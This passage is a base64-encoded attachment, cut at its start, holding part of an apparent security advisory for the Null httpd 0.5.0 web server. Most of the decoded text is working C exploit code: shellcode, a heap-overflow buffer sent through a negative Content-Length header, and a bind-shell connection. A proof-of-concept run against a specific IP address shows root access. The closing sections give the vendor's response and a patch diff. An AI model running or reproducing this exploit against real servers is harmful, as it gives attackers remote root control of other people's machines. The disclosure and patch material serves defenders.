XHg4OVx4ZTNceDhkXHg1NFx4MjRceDA4XHgzMVx4YzlceDUxXHg1M1x4OGRceDBjXHgyNCIKICAg
ICAgICAJIlx4MzFceGMwXHhiMFx4MGJceGNkXHg4MFx4MzFceGMwXHhiMFx4MDFceGNkXHg4MCI7
CgkKCWludCBzb2NrOwoJCgl2b2lkIHNoZWxsKCk7Cgl2b2lkIHVzYWdlKCk7CgkKCXZvaWQgdXNh
Z2UoY2hhciAqcHJvZykKCXsKCSAgICAgICAgZnByaW50ZihzdGRlcnIsIlVzYWdlOiAlcyA8LWgg
aG9zdD4gPC10IHR5cGU+IFstcCBwb3J0XVxuIiwgcHJvZyk7CgkgICAgICAgIGV4aXQoMSk7Cgl9
CgkKCXZvaWQgc2hlbGwoKQoJewoJICAgICAgICBmZF9zZXQgIGZkX3JlYWQ7CiAgICAgICAJCWNo
YXIgYnVmZlsxMDI0XSwgKmNtZD0iL2Jpbi91bmFtZSAtYTsvdXNyL2Jpbi9pZDtcbiI7CiAgICAg
ICAJCWludCBuOwoJCiAgICAgICAgCUZEX1pFUk8oJmZkX3JlYWQpOwogICAgICAgIAlGRF9TRVQo
c29jaywgJmZkX3JlYWQpOwogICAgICAgIAlGRF9TRVQoMCwgJmZkX3JlYWQpOwoJCiAgICAgICAg
CXNlbmQoc29jaywgY21kLCBzdHJsZW4oY21kKSwgMCk7CiAgICAgICAgCXdoaWxlKDEpIHsKCSAg
ICAgICAgICAgICAgICBGRF9TRVQoc29jaywmZmRfcmVhZCk7CiAgICAgICAgCSAgICAgICAgRkRf
U0VUKDAsJmZkX3JlYWQpOwogICAgICAgICAgICAgICAgCWlmKHNlbGVjdChzb2NrKzEsJmZkX3Jl
YWQsTlVMTCxOVUxMLE5VTEwpPDApIGJyZWFrOwogICAgICAgICAgICAgICAgCWlmKCBGRF9JU1NF
VChzb2NrLCAmZmRfcmVhZCkgKSB7CgkgICAgICAgICAgICAgICAgICAgICAgICBpZigobj1yZWN2
KHNvY2ssYnVmZixzaXplb2YoYnVmZiksMCkpPDApewogICAgICAgIAkgICAgICAgICAgICAgICAg
ICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIkVPRlxuIik7CiAgICAgICAgICAgICAgICAJICAgICAg
ICAgICAgICAgIGV4aXQoMik7CiAgICAgICAgICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAg
ICAgICAgICAgICAgIAlpZih3cml0ZSgxLGJ1ZmYsbik8MClicmVhazsKICAgICAgICAgICAgICAg
IAl9CgogICAgICAgICAgICAgICAgCWlmICggRkRfSVNTRVQoMCwgJmZkX3JlYWQpICkgewoJICAg
ICAgICAgICAgICAgICAgICAgICAgaWYoKG49cmVhZCgwLGJ1ZmYsc2l6ZW9mKGJ1ZmYpKSk8MCl7
CiAgICAgICAgCSAgICAgICAgICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCJFT0ZcbiIp
OwogICAgICAgICAgICAgICAgCSAgICAgICAgICAgICAgICBleGl0KDIpOwogICAgICAgICAgICAg
ICAgICAgICAgICAJfQogICAgICAgICAgICAgICAgICAgICAgICAJaWYoc2VuZChzb2NrLGJ1ZmYs
biwwKTwwKSBicmVhazsKICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAgICAgICAJdXNsZWVw
KDEwKTsKICAgICAgICAgICAgICAgIAl9CiAgICAgICAgCWZwcmludGYoc3RkZXJyLCJDb25uZWN0
aW9uIGxvc3QuXG5cbiIpOwogICAgICAgIAlleGl0KDApOwoJfQoKCWludAoJb3Blbmhvc3QoY2hh
ciAqaG9zdCxpbnQgcG9ydCkKCXsKCSAgICAgICAgc3RydWN0IHNvY2thZGRyX2luIGFkZHI7CiAg
ICAgICAgCXN0cnVjdCBob3N0ZW50ICpoZTsKCQoJICAgICAgICBoZT1nZXRob3N0YnluYW1lKGhv
c3QpOwoJCgkgICAgICAgIGlmIChoZT09TlVMTCkgcmV0dXJuIC0xOwoJICAgICAgICBzb2NrPXNv
Y2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpLT5wX3Byb3Rv
KTsKCSAgICAgICAgaWYgKHNvY2s9PS0xKSByZXR1cm4gLTE7CgkKCSAgICAgICAgbWVtY3B5KCZh
ZGRyLnNpbl9hZGRyLCBoZS0+aF9hZGRyLCBoZS0+aF9sZW5ndGgpOwoJCiAgICAgICAgCWFkZHIu
c2luX2ZhbWlseT1BRl9JTkVUOwogICAgICAgIAlhZGRyLnNpbl9wb3J0PWh0b25zKHBvcnQpOwoK
ICAgICAgICAJaWYoY29ubmVjdChzb2NrLCAoc3RydWN0IHNvY2thZGRyICopJmFkZHIsIHNpemVv
ZihhZGRyKSkgPT0gLTEpIHNvY2s9LTE7CiAgICAgICAgCXJldHVybiBzb2NrOwoJfQoKCWludAoJ
ZXhwbG9pdChjaGFyICpob3N0LCBpbnQgcG9ydCwgaW50IHR5cGUpCgl7CiAgICAgICAgCWNoYXIg
c2VuZGJ1Zls1MDBdOwogICAgICAgIAljaGFyIGJ1ZmZlclszNzddOwogICAgICAgIAlpbnQgaT0w
OwogICAgICAgIAlpbnQgc29jazI7CgkKICAgICAgICAJc29jaz1vcGVuaG9zdChob3N0LCBwb3J0
KTsKCiAgICAgICAgCWlmIChzb2NrPT0tMSkgewoJICAgICAgICAgICAgICAgIGZwcmludGYoc3Rk
ZXJyLCJVbmFibGUgdG8gY29ubmVjdC5cblxuIik7CiAgICAgICAgICAgICAgICAJZXhpdCgxKTsK
ICAgICAgICAJfQoJCgkgICAgICAgZnByaW50ZihzdGRvdXQsICJBdHRhY2tpbmcgKCVzKSAuLi5c
biIsIGhvc3QpOwoJICAgICAgIG1lbXNldChidWZmZXIsIDB4YmYsIHNpemVvZihidWZmZXIpIC0g
MSk7CgogICAgICAgIAlmb3IoaT0wO2k8Mzc2O2k9aSs0KQogICAgICAgIAl7CiAgICAgICAgICAg
ICAgICAJYnVmZmVyW2ldICAgPSAweGJmOyAvKiBtdXN0IGJlIGEgdmFsaWQgcG9pbnRlciAqLwog
ICAgICAgICAgICAgICAgCWJ1ZmZlcltpKzFdID0gMHhmZjsKICAgICAgICAgICAgICAgIAlidWZm
ZXJbaSsyXSA9IDB4YjA7CiAgICAgICAgICAgICAgICAJYnVmZmVyW2krM10gPSAweGVmOwogICAg
ICAgIAl9CgogICAgICAgIAltZW1jcHkoYnVmZmVyLCBzaGVsbGNvZGUsIHN0cmxlbihzaGVsbGNv
ZGUpKTsKCiAgICAgICAgCWJ1ZmZlclszNTldID0gMHhmZjsgLyogcHJldl9zaXplICovCiAgICAg
ICAgCWJ1ZmZlclszNjBdID0gMHhmZjsKICAgICAgICAJYnVmZmVyWzM2MV0gPSAweGZmOwogICAg
ICAgIAlidWZmZXJbMzYyXSA9IDB4ZmY7CgkKICAgICAgICAJYnVmZmVyWzM2M10gPSAweGZjOyAv
KiBzaXplIGZpZWxkICovCiAgICAgICAgCWJ1ZmZlclszNjRdID0gMHhmZjsKICAgICAgICAJYnVm
ZmVyWzM2NV0gPSAweGZmOwogICAgICAgIAlidWZmZXJbMzY2XSA9IDB4ZmY7CgogICAgICAgIAli
dWZmZXJbMzY4XSA9ICh0YXJnZXRzW3R5cGUgLSAxXS5yZXRsb2MgJiAweDAwMDAwMGZmKTsgLyog
RkQgKi8KICAgICAgICAJYnVmZmVyWzM2OV0gPSAodGFyZ2V0c1t0eXBlIC0gMV0ucmV0bG9jICYg
MHgwMDAwZmYwMCkgPj4gODsKICAgICAgICAJYnVmZmVyWzM3MF0gPSAodGFyZ2V0c1t0eXBlIC0g
MV0ucmV0bG9jICYgMHgwMGZmMDAwMCkgPj4gMTY7CiAgICAgICAgCWJ1ZmZlclszNzFdID0gKHRh
cmdldHNbdHlwZSAtIDFdLnJldGxvYyAmIDB4ZmYwMDAwMDApID4+IDI0OwoJCiAgICAgICAgCWJ1
ZmZlclszNzJdID0gKHRhcmdldHNbdHlwZSAtIDFdLnJldCAmIDB4MDAwMDAwZmYpOyAvKiBCSyAq
LwogICAgICAgIAlidWZmZXJbMzczXSA9ICh0YXJnZXRzW3R5cGUgLSAxXS5yZXQgJiAweDAwMDBm
ZjAwKSA+PiA4OwogICAgICAgIAlidWZmZXJbMzc0XSA9ICh0YXJnZXRzW3R5cGUgLSAxXS5yZXQg
JiAweDAwZmYwMDAwKSA+PiAxNjsKICAgICAgICAJYnVmZmVyWzM3NV0gPSAodGFyZ2V0c1t0eXBl
IC0gMV0ucmV0ICYgMHhmZjAwMDAwMCkgPj4gMjQ7CgkKCSAgICAgICAgYnVmZmVyWzM3Nl0gPSAw
eDA7CgkKICAgICAgICAJc25wcmludGYoc2VuZGJ1Ziwgc2l6ZW9mKHNlbmRidWYpIC0xLCAiUE9T
VCAvIEhUVFAvMS4wXG4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAJIkNvbnRlbnQtTGVuZ3RoOiAtODAwXG4iCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAJIlxuXG4lc1xuIixidWZmZXIpOwoKICAgICAgICAJd3JpdGUo
c29jaywgc2VuZGJ1Ziwgc3RybGVuKHNlbmRidWYpKTsKCiAgICAgICAgCXNsZWVwKDQpOwogICAg
ICAgIAljbG9zZShzb2NrKTsKCQoJICAgICAgICBzb2NrPW9wZW5ob3N0KGhvc3QsIDMwNDY0KTsK
ICAgICAgICAJaWYgKHNvY2s9PS0xKSB7CiAgICAgICAgICAgICAgICAJZnByaW50ZihzdGRlcnIs
IkZhaWxlZC5cblxuIik7CiAgICAgICAgICAgICAgICAJZXhpdCgxKTsKICAgICAgICAJfQoKICAg
ICAgICAJZnByaW50ZihzdGRvdXQsICJFeHBsb2l0IHN1Y2Nlc3NmdWwhXG4iKTsKICAgICAgICAJ
ZnByaW50ZihzdGRvdXQsICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiIpOwogICAgICAgIAlzaGVsbChzb2NrKTsKICAg
ICAgICAJY2xvc2Uoc29jayk7CiAgICAgICAgCXJldHVybiAwOwoJfQoKCWludAoJbWFpbiAoaW50
IGFyZ2MsY2hhciAqYXJndltdKQoJewoJICAgICAgICBjaGFyIGhvc3RbMjU2XTsKICAgICAgICAJ
aW50IGksb3B0LHR5cGU9MCxwb3J0PTgwOwoJCiAgICAgICAgCWZwcmludGYoc3Rkb3V0LCJOdWxs
IGh0dHBkIDAuNS4wIHJlbW90ZSByb290IGV4cGxvaXQgICAgICAgICAgICBieSBlU0RlZSBvZiBO
ZXRyaWNcbiIpOwogICAgICAgIAlmcHJpbnRmKHN0ZG91dCwiLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0od3d3Lm5ldHJpYy5vcmcpXG4iKTsKCQogICAg
ICAgIAltZW1zZXQoaG9zdCwgMHgwLCBzaXplb2YoaG9zdCkpOwoKICAgICAgICAJd2hpbGUoKG9w
dD1nZXRvcHQoYXJnYyxhcmd2LCJoOnA6dDoiKSkgIT1FT0YpCiAgICAgICAgCXsKCSAgICAgICAg
ICAgICAgICBzd2l0Y2gob3B0KQogICAgICAgIAkgICAgICAgIHsKICAgICAgICAgICAgICAgIAkg
ICAgICAgIGNhc2UgJ2gnOgogICAgICAgICAgICAgICAgICAgICAgICAJICAgICAgICBzdHJuY3B5
KGhvc3QsIG9wdGFyZywgc2l6ZW9mKGhvc3QpIC0gMSk7CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCWJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAJY2FzZSAncCc6CgkgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQ9YXRvaShvcHRhcmcpOwogICAgICAgIAkg
ICAgICAgICAgICAgICAgICAgICAgICBpZiAoKHBvcnQgPD0gMCkgfHwgKHBvcnQgPiA2NTUzNSkp
IHsKICAgICAgICAgICAgICAgIAkgICAgICAgICAgICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVy
ciwiSW52YWxpZCBwb3J0LlxuXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgCSAgICAgICAg
ICAgICAgICByZXR1cm4gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJYnJlYWs7CiAgICAgICAgICAgICAgICAgICAg
ICAgIAljYXNlICd0JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJdHlwZT1hdG9p
KG9wdGFyZyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCWlmICh0eXBlID09IDAg
fHwgdHlwZSA+IHNpemVvZih0YXJnZXRzKS8xMikgewoJICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGZvcihpID0gMDsgaSA8IHNpemVvZih0YXJnZXRzKS8xMjsgaSsrKQog
ICAgICAgIAkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnByaW50Zihz
dGRlcnIsICIlZC4gJXNcdCAoMHglMDh4IC0gMHglMDh4KVxuIiwKICAgICAgICAgICAgICAgIAkg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpICsgMSwKICAg
ICAgICAgICAgICAgICAgICAgICAgCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICB0YXJnZXRzW2ldLnR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGFyZ2V0c1tpXS5yZXQsdGFyZ2V0c1tpXS5y
ZXRsb2MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCWZwcmludGYo
c3RkZXJyLCAiXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAly
ZXR1cm4gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAJYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIAlkZWZh
dWx0OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl1c2FnZShhcmd2WzBdKTsKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJYnJlYWs7CiAgICAgICAgICAgICAgICAJfQoK
ICAgICAgICAJfQoJCgkgICAgICAgIGlmIChzdHJsZW4oaG9zdCkgPT0gMCkgdXNhZ2UoYXJndlsw
XSk7CgkKICAgICAgICAJaWYgKCF0eXBlKSB7CiAgICAgICAgICAgICAgICAJZnByaW50ZihzdGRl
cnIsICJObyB0YXJnZXQgZ2l2ZW4sIHVzZSAtdDAgZm9yIGEgbGlzdC5cblxuIik7CiAgICAgICAg
ICAgICAgICAJcmV0dXJuIC0xOwogICAgICAgIAl9CgogICAgICAgIAlpZiAoZXhwbG9pdChob3N0
LCBwb3J0LCB0eXBlKSA8IDApIHsKICAgICAgICAgICAgICAgIAlmcHJpbnRmKHN0ZGVyciwgIkZh
aWxlZC5cblxuIik7CiAgICAgICAgICAgICAgICAJcmV0dXJuIC0xOwogICAgICAgIAl9CgogICAg
ICAgIAlyZXR1cm4gMDsKCX0KCTwtLT4gRU5EIE9GIEZJTEUgPC0tPgpbNF0gUHJvb2Ygb2YgY29u
Y2VwdAoKCVtyb290QHBhbnQwZmZlbF0jIC4vYmFra3VtIC1oIDIxMy4yMDEuMTc2LjE5OCAtdDEK
CU51bGwgaHR0cGQgMC41LjAgcmVtb3RlIHJvb3QgZXhwbG9pdCAgICAgICAgICAgIGJ5IGVTRGVl
IG9mIE5ldHJpYwoJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0od3d3Lm5ldHJpYy5vcmcpCglBdHRhY2tpbmcgKDIxMy4yMDEuMTc2LjE5OCkgLi4uCglF
eHBsb2l0IHN1Y2Nlc3NmdWwhCgktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCUxpbnV4IERpbnRlbGR5ayAyLjQuNy0xMCAj
MSBUaHUgU2VwIDYgMTc6MjE6MjggRURUIDIwMDEgaTU4NiB1bmtub3duCgl1aWQ9MChyb290KSBn
aWQ9MChyb290KSBncm91cHM9MChyb290KSwxKGJpbiksMihkYWVtb24pLDMoc3lzKSw0KGFkbSks
NihkaXNrKSwxMCh3aGVlbCkKCVtyb290QHBhbnQwZmZlbF0jCgoKWzVdIFZlbmRvciByZXNwb25z
ZQoKCVdlIGdvdCByZXNwb25zZSBmcm9tIHRoZSB2ZW5kb3Igd2l0aGluIHdlZWssIGFuZCBoZSB0
b2xkIHVzIHRoYXQgcGF0Y2hlcyB3ZXJlIG1hZGUgYW5kIAoJdGhhdCBoZSB3b3VsZCB1cGRhdGUg
dGhlIHBhZ2Ugd2hlcmUgaXQgY2FuIGJlIGRvd25sb2FkZWQgYWZ0ZXIgaGUgaGFkIHJhbiBhIGZl
dyB0ZXN0cy4gCgpbNl0gUGF0Y2hlcwoKCXlvdSBjYW4gZG93bmxvYWQgdGhlIG5ldyB2ZXJzaW9u
IG9mIG51bGxodHRwZCBmcm9tIDoKCWh0dHA6Ly9wcmRvd25sb2Fkcy5zb3VyY2Vmb3JnZS5uZXQv
bnVsbGh0dHBkL251bGxodHRwZC0wLjUuMS50YXIuZ3oKCXRoZSBudWxsb2dpYyB2ZW5kb3IgYWxz
byBzZW5kIHVzIHBhdGNoIHdoaWNoIGlzIGluY2x1ZGVkIDogCgoJZGlmZiAtTnJ1IG51bGxodHRw
ZC0wLjUuMC9zcmMvZm9ybWF0LmMgbnVsbGh0dHBkLTAuNS4xLXByZS9zcmMvZm9ybWF0LmMKCS0t
LSBudWxsaHR0cGQtMC41LjAvc3JjL2Zvcm1hdC5jCVN1biBGZWIgIDMgMTg6MTg6MjIgMjAwMgoJ
KysrIG51bGxodHRwZC0wLjUuMS1wcmUvc3JjL2Zvcm1hdC5jCVN1biBTZXAgMTUgMjE6NTU6MDkg
MjAwMgoJQEAgLTE1MywzICsxNTMsMjkgQEAKCSAJfQoJIAlyZXR1cm4gMDsKCSB9CgkrCgkraW50
IHByaW50aHQoY29uc3QgY2hhciAqZm9ybWF0LCAuLi4pCgkrewoJKwl1bnNpZ25lZCBjaGFyIGJ1
ZmZlclsxMDI0XTsKCSsJaW50IG9mZnNldD0wOwoJKwl2YV9saXN0IGFwOwoJKwoJKwl2YV9zdGFy
dChhcCwgZm9ybWF0KTsKCSsJdnNucHJpbnRmKGJ1ZmZlciwgc2l6ZW9mKGJ1ZmZlciktMSwgZm9y
bWF0LCBhcCk7CgkrCXZhX2VuZChhcCk7CgkrCXdoaWxlIChidWZmZXJbb2Zmc2V0XSkgewoJKwkJ
aWYgKGJ1ZmZlcltvZmZzZXRdPT0nPCcpIHsKCSsJCQlwcmludHMoIiZsdDsiKTsKCSsJCX0gZWxz
ZSBpZiAoYnVmZmVyW29mZnNldF09PSc+JykgewoJKwkJCXByaW50cygiJmd0OyIpOwoJKwkJfSBl
bHNlIGlmIChidWZmZXJbb2Zmc2V0XT09JyYnKSB7CgkrCQkJcHJpbnRzKCImYW1wOyIpOwoJKwkJ
fSBlbHNlIGlmIChidWZmZXJbb2Zmc2V0XT09JyInKSB7CgkrCQkJcHJpbnRzKCImcXVvdDsiKTsK
CSsJCX0gZWxzZSB7CgkrCQkJcHJpbnRzKCIlYyIsIGJ1ZmZlcltvZmZzZXRdKTsKCSsJCX0KCSsJ
CW9mZnNldCsrOwoJKwl9CgkrCXJldHVybiAwOwoJK30KCWRpZmYgLU5ydSBudWxsaHR0cGQtMC41
LjAvc3JjL2h0dHAuYyBudWxsaHR0cGQtMC41LjEtcHJlL3NyYy9odHRwLmMKCS0tLSBudWxsaHR0
cGQtMC41LjAvc3JjL2h0dHAuYwlTdW4gRmViICAzIDE4OjE4OjIyIDIwMDIKCSsrKyBudWxsaHR0
cGQtMC41LjEtcHJlL3NyYy9odHRwLmMJU3VuIFNlcCAxNSAyMTo1NTowOSAyMDAyCglAQCAtMTQ5
LDggKzE0OSwxNSBAQAoJIAkJd2hpbGUgKChsaW5lW3N0cmxlbihsaW5lKS0xXT09J1xuJyl8fChs
aW5lW3N0cmxlbihsaW5lKS0xXT09J1xyJykpIGxpbmVbc3RybGVuKGxpbmUpLTFdPSdcMCc7Cgkg
CQlpZiAoc3RybmNhc2VjbXAobGluZSwgIkNvbm5lY3Rpb246ICIsIDEyKT09MCkKCSAJCQlzdHJu
Y3B5KGNvbm5bc2lkXS5kYXQtPmluX0Nvbm5lY3Rpb24sIChjaGFyICopJmxpbmUrMTIsIHNpemVv
Zihjb25uW3NpZF0uZGF0LT5pbl9Db25uZWN0aW9uKS0xKTsKCS0JCWlmIChzdHJuY2FzZWNtcChs
aW5lLCAiQ29udGVudC1MZW5ndGg6ICIsIDE2KT09MCkKCSsJCWlmIChzdHJuY2FzZWNtcChsaW5l
LCAiQ29udGVudC1MZW5ndGg6ICIsIDE2KT09MCkgewoJIAkJCWNvbm5bc2lkXS5kYXQtPmluX0Nv
bnRlbnRMZW5ndGg9YXRvaSgoY2hhciAqKSZsaW5lKzE2KTsKCSsJCQlpZiAoY29ubltzaWRdLmRh
dC0+aW5fQ29udGVudExlbmd0aDwwKSB7CgkrCQkJCS8vIE5lZ2F0aXZlIENvbnRlbnQtTGVuZ3Ro
PyAgSWYgc28sIHRoZSBjbGllbnQgaXMgZWl0aGVyIGJyb2tlbiBvciBtYWxpY2lvdXMuCgkrCQkJ
CS8vIFRoYW5rcyB0byA8aWxqYUBpZGVmZW5zZS5iZT4gZm9yIHNwb3R0aW5nIHRoaXMgb25lLgoJ
KwkJCQlsb2dlcnJvcigiRVJST1I6IG5lZ2F0aXZlIENvbnRlbnQtTGVuZ3RoIG9mICVkIHByb3Zp
ZGVkIGJ5IGNsaWVudC4iLCBjb25uW3NpZF0uZGF0LT5pbl9Db250ZW50TGVuZ3RoKTsKCSsJCQkJ
Y29ubltzaWRdLmRhdC0+aW5fQ29udGVudExlbmd0aD0wOwoJKwkJCX0KCSsJCX0KCSAJCWlmIChz
dHJuY2FzZWNtcChsaW5lLCAiQ29va2llOiAiLCA4KT09MCkKCSAJCQlzdHJuY3B5KGNvbm5bc2lk
XS5kYXQtPmluX0Nvb2tpZSwgKGNoYXIgKikmbGluZSs4LCBzaXplb2YoY29ubltzaWRdLmRhdC0+
aW5fQ29va2llKS0xKTsKCSAJCWlmIChzdHJuY2FzZWNtcChsaW5lLCAiSG9zdDogIiwgNik9PTAp
CglkaWZmIC1OcnUgbnVsbGh0dHBkLTAuNS4wL3NyYy9tYWluLmMgbnVsbGh0dHBkLTAuNS4xLXBy
ZS9zcmMvbWFpbi5jCgktLS0gbnVsbGh0dHBkLTAuNS4wL3NyYy9tYWluLmMJU3VuIEZlYiAgMyAx
ODoxODoyMiAyMDAyCgkrKysgbnVsbGh0dHBkLTAuNS4xLXByZS9zcmMvbWFpbi5jCVN1biBTZXAg
MTUgMjE6NTU6MDkgMjAwMgoJQEAgLTM2LDEyICszNiwxNyBAQAoJIAlsb2dhY2Nlc3MoMiwgIiVz
IC0gSFRUUCBSZXF1ZXN0OiAlcyAlcyIsIGNvbm5bc2lkXS5kYXQtPmluX1JlbW90ZUFkZHIsIGNv
bm5bc2lkXS5kYXQtPmluX1JlcXVlc3RNZXRob2QsIGNvbm5bc2lkXS5kYXQtPmluX1JlcXVlc3RV
UkkpOwoJIAlzbnByaW50ZihmaWxlLCBzaXplb2YoZmlsZSktMSwgIiVzJXMiLCBjb25maWcuc2Vy
dmVyX2h0ZG9jc19kaXIsIGNvbm5bc2lkXS5kYXQtPmluX1JlcXVlc3RVUkkpOwoJIAlzbnByaW50
Zihjb25uW3NpZF0uZGF0LT5vdXRfQ29udGVudFR5cGUsIHNpemVvZihjb25uW3NpZF0uZGF0LT5v
dXRfQ29udGVudFR5cGUpLTEsICJ0ZXh0L2h0bWwiKTsKCS0JaWYgKHN0cm5jbXAoY29ubltzaWRd
LmRhdC0+aW5fUmVxdWVzdFVSSSwgIi9jZ2ktYmluLyIsICAgIDkpPT0wKSBjZ2lfbWFpbigpOwoJ
LQllbHNlIGlmIChzZW5kZmlsZShzaWQsIGZpbGUpPT0wKSByZXR1cm47CgktCWVsc2UgaWYgKGRp
cmxpc3Qoc2lkKT09MCkgcmV0dXJuOwoJLQllbHNlIHsKCSsJaWYgKHN0cm5jbXAoY29ubltzaWRd
LmRhdC0+aW5fUmVxdWVzdFVSSSwgIi9jZ2ktYmluLyIsICAgIDkpPT0wKSB7CgkrCQljZ2lfbWFp
bigpOwoJKwl9IGVsc2UgaWYgKHNlbmRmaWxlKHNpZCwgZmlsZSk9PTApIHsKCSsJCXJldHVybjsK
CSsJfSBlbHNlIGlmIChkaXJsaXN0KHNpZCk9PTApIHsKCSsJCXJldHVybjsKCSsJfSBlbHNlIHsK
CSAJCXNlbmRfaGVhZGVyKHNpZCwgMCwgMjAwLCAiT0siLCAiMSIsICJ0ZXh0L2h0bWwiLCAtMSwg
LTEpOwoJLQkJcHJpbnRzKCI8QlI+PENFTlRFUj5UaGUgZmlsZSBvciBmdW5jdGlvbiAnJXMnIGNv
dWxkIG5vdCBiZSBmb3VuZC48L0NFTlRFUj5cbiIsIGNvbm5bc2lkXS5kYXQtPmluX1JlcXVlc3RV
UkkpOwoJKwkJcHJpbnRzKCI8QlI+PENFTlRFUj5UaGUgZmlsZSBvciBmdW5jdGlvbiAnIik7Cgkr
CQlwcmludGh0KCIlcyIsIGNvbm5bc2lkXS5kYXQtPmluX1JlcXVlc3RVUkkpOwoJKwkJcHJpbnRz
KCInIGNvdWxkIG5vdCBiZSBmb3VuZC48L0NFTlRFUj5cbiIpOwoJIAkJbG9nZXJyb3IoIiVzIC0g
SW5jb3JyZWN0IGZ1bmN0aW9uIGNhbGwgJyVzJyIsIGNvbm5bc2lkXS5kYXQtPmluX1JlbW90ZUFk
ZHIsIGNvbm5bc2lkXS5kYXQtPmluX1JlcXVlc3RVUkkpOwoJIAl9CgkgCXJldHVybjsKCWRpZmYg
LU5ydSBudWxsaHR0cGQtMC41LjAvc3JjL21haW4uaCBudWxsaHR0cGQtMC41LjEtcHJlL3NyYy9t
YWluLmgKCS0tLSBudWxsaHR0cGQtMC41LjAvc3JjL21haW4uaAlTdW4gRmViICAzIDE4OjE4OjIy
IDIwMDIKCSsrKyBudWxsaHR0cGQtMC41LjEtcHJlL3NyYy9tYWluLmgJU3VuIFNlcCAxNSAyMTo1
NTowOSAyMDAyCglAQCAtMjUxLDYgKzI1MSw3IEBACgkgY2hhciAqc3RyY2FzZXN0cihjaGFyICpz
cmMsIGNoYXIgKnF1ZXJ5KTsKCSBjaGFyICpzdHJjYXRmKGNoYXIgKmRlc3QsIGNvbnN0IGNoYXIg
KmZvcm1hdCwgLi4uKTsKCSBpbnQgcHJpbnRoZXgoY29uc3QgY2hhciAqZm9ybWF0LCAuLi4pOwoJ
K2ludCBwcmludGh0KGNvbnN0IGNoYXIgKmZvcm1hdCwgLi4uKTsKCSAvKiBodHRwLmMgZnVuY3Rp
b25zICovCgkgdm9pZCBwcmludGVycm9yKGludCBzaWQsIGludCBzdGF0dXMsIGNoYXIqIHRpdGxl
LCBjaGFyKiB0ZXh0KTsKCSBjaGFyICpnZXRfbWltZV90eXBlKGNoYXIgKm5hbWUpOwoJZGlmZiAt
TnJ1IG51bGxodHRwZC0wLjUuMC9zcmMvc2VydmVyLmMgbnVsbGh0dHBkLTAuNS4xLXByZS9zcmMv
c2VydmVyLmMKCS0tLSBudWxsaHR0cGQtMC41LjAvc3JjL3NlcnZlci5jCVN1biBGZWIgIDMgMTg6
MTg6MjIgMjAwMgoJKysrIG51bGxodHRwZC0wLjUuMS1wcmUvc3JjL3NlcnZlci5jCVN1biBTZXAg
MTUgMjE6NTU6MDkgMjAwMgoJQEAgLTM3Nyw3ICszNzcsMTQgQEAKCSAJaWYgKHN0cmNhc2VjbXAo
IkFOWSIsIGNvbmZpZy5zZXJ2ZXJfaG9zdG5hbWUpPT0wKSB7CgkgCQlzaW4uc2luX2FkZHIuc19h
ZGRyPWh0b25sKElOQUREUl9BTlkpOwoJIAl9IGVsc2UgewoJLQkJaHA9Z2V0aG9zdGJ5bmFtZShj
b25maWcuc2VydmVyX2hvc3RuYW1lKTsKCSsJCWlmICgoaHA9Z2V0aG9zdGJ5bmFtZShjb25maWcu
c2VydmVyX2hvc3RuYW1lKSk9PU5VTEwpIHsKCSsjaWZkZWYgV0lOMzIKCSsJCQlNZXNzYWdlQm94
KDAsICJETlMgTG9va3VwIGZhaWx1cmUuIiwgQVBQVElUTEUsIE1CX0lDT05FUlJPUik7CgkrI2Vs
c2UKCSsJCQlwcmludGYoIkROUyBMb29rdXAgZmFpbHVyZS5cclxuIik7CgkrI2VuZGlmCgkrCQkJ
ZXhpdCgwKTsKCSsJCX0KCSAJCW1lbW1vdmUoKGNoYXIgKikmc2luLnNpbl9hZGRyLCBocC0+aF9h
ZGRyLCBocC0+aF9sZW5ndGgpOwoJIAl9CgkgCXNpbi5zaW5fcG9ydD1odG9ucygodW5zaWduZWQg
c2hvcnQpY29uZmlnLnNlcnZlcl9wb3J0KTsKCg==



----=_b7a38fabb9df835142512664388a1c96f--

